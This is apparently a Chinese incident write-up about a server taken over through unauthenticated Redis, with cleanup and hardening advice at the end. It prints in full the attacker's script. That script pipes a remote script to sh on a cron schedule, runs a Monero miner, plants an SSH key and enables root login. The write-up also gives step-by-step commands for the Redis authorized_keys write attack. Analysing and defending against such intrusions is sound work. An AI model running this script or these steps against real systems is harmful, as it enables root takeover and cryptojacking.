今天发现服务器有异常进程/opt/yam/yam,上网搜了搜,是由于redis未授权引起的入侵,查了些资料,这里做下总结。
1. 现象
有以下其一现象就要注意是否被入侵- crontab -l 可以看到类似“*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh”。
- ps -ef 可以看到进程 “/opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr”。
- 查看redis库,有“crackit”键。
2. 分析
通过查看从“https://r.chanstring.com/api/report?pm=0623”获取的脚本进行分析,脚本如下:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0623 | sh" > /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep yam || nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/opt/yam/yam" ]; then
rm -rf /opt/yam
mkdir -p /opt/yam
curl -fsSL https://r.chanstring.com/api/download/yam -o /opt/yam/yam
chmod +x /opt/yam/yam
nohup /opt/yam/yam -c x -M stratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8Coo:x@xmr.crypto-pool.fr:6666/xmr &
fi
if [ ! -f "/etc/init.d/lady" ]; then
if [ ! -f "/etc/systemd/system/lady.service" ]; then
mkdir -p /opt
curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33
fi
fi
rm -rf /tmp/KHK75NEOiq*
service lady start
systemctl start lady.service
/etc/init.d/lady start
上面的脚本大概做了如下几件事:
- 将攻击脚本写入肉鸡的crontab中,定时执行;
- 将/opt/yam/yam(https://r.chanstring.com/api/download/yam处获取)放肉鸡后台执行;
- 建立到肉鸡的单向信任关系,即无需密码即可以root权限登录肉鸡 注册
并启动/etc/init.d/lady(https://r.chanstring.com/v10/lady_`uname -i
`处获取)服务。
3. 模拟
为了更好地理解具体流程,以便于采取补救措施,这里手动进行下模拟:-
前提:远程主机可以无需密码登录redis
- 执行命令“ssh-keygen -t rsa”一路回车到底,生成公钥和私钥(也可以执行 ssh-keygen -t rsa -C "ssss"以隐藏公钥中的主机名)。 生成到txt “(echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt”(为了避免会拼接在其他字符串后面或被其他字符串拼接,这里在公钥上下加两行空行)
- 清空redis:redis-cli -h 远程ip flushall (非常暴力,请务必在测试环境执行。实际上也不用清空,因为在第2步中我们已经加了多的空行)
- 执行:“cat foo.txt | redis-cli -h xxxx -x set crackit”(这里“crackit”可以是任意名字)
- 执行命令“redis-cli -h 远程ip”登录到远程主机redis,执行如下命令:
config set dir /root/.ssh/ config dbfilename authorized_keys save 上面命令是调用config set命令对redis的备份文件路径进行修改,然后执行save进行生成备份文件(这里是生成了authorized_keys文件,也可以是任意名字,但如果是其他名字就需要通过脚本对远程主机/etc/ssh/sshd_config文件进行相应的配置)。这样就可以使用本地的私钥去登入被植入公钥的ssh服务器了。
5. 然后写一个对远程主机的/etc/ssh/sshd_config进行相关配置并重启远程主机sshd服务的脚本,通过上面的步骤植入到远程主机的/var/spool/cron/root文件中,以让远程主机执行该脚本。
到这里,我们就可以不需要密码以root身份登录远程主机了。
<h1>4. 清理</h1>
若不想重装系统,就得清理掉入侵者写入本地的文件,及在本机开启的服务。
1. 删掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重启crontab服务;
2. 删掉/root/.ssh/目录下的异常文件(可以删除所有文件);
3. kill掉/opt/yam/yam产生的进程,并删除/opt/yam/yam;
4. 将/etc/init.d/lady从服务列表中删除,停掉/etc/init.d/lady,删除/etc/init.d/lady;
5. 修复/etc/ssh/sshd_config文件; 修复redis配置文件,重启redis。
<h1>5. 修补加固建议</h1>
1. 通过配置rename-command CONFIG "",禁用一些命令。(某些必须以高权限运行的,可以借鉴该方案)
修改redis.conf文件,增加
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
2. 以低权限启动redis
切换到其他用户su - xxx,然后再启动server(切换是否注意之前文件权限,也需要相应修改)。
3. 给redis增加验证。
修改redis.conf文件
requirepass mypassword
4. 禁止对公网开放,将端口绑定到固定IP。
修改redis.conf文件
bind 127.0.0.1
5. 检查用户.ssh目录下是否已经存在非法的authorized_keys文件。